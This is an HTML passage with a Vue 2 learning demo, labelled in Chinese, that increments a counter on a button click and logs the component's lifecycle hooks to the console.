<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<!--准备好一个容器-->
<div id="root">
<h2>当前的n值是:{{n}}</h2>
<button @click="add">点我n+1</button>
<a href=""></a>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false
new Vue({
el:'#root',
template:`
<div>
<h2>当前n的值:{{n}}</h2>
<button @click="add">点我n+1</button>
</div>
`,
data:{
n:1
},
methods: {
add(){
this.n++
}
},
beforeCreate() {
console.log('beforeCreate');
// console.log(this);
// debugger;
},
created(){
console.log('created');
// console.log(this);
// debugger;
},
beforeMount() {
console.log('beforeMount');
// console.log(this);
// debugger;
},
mounted() {
console.log('mounter',this.$el instanceof HTMLElement);
},
beforeUpdate() {
console.log('beforeUpdate')
console.log(this.n);
// debugger
},
updated() {
},
})
</script>
</html>